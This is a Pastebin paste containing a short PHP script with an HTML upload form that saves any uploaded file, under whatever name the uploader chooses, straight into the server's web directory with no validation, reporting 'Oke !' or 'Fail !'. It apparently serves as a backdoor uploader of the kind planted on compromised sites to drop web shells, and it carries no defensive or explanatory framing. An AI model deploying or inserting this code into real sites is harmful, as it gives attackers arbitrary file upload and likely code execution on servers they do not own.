Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <form method="post" enctype="multipart/form-data">
- <input type="file" name="bc">
- <button>jembud</button>
- </form>
- <?php
- if (isset($_FILES['bc'])) {
- file_put_contents($_FILES['bc']['name'], file_get_contents($_FILES['bc']['tmp_name']));
- if (file_exists("./".$_FILES['bc']['name'])) {
- echo "Oke !";
- } else {
- echo "Fail !";
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement